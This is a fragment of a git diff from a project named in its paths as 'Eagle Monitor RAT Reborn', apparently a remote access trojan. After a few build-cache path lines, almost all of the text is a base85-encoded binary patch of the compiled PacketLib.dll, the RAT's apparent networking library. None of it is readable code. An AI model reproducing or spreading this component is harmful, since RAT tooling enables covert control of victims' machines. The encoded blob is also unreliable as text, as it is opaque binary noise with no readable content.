Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.dll -F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache -F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache -F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.dll diff --git a/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.dll b/Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.dll index e25a655263a7bf33ee7f39f9e1622ed2f9de8904..ecf6a340a2d9d7f2f4885f80d7057ff87329ba46 100644 GIT binary patch literal 80896 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 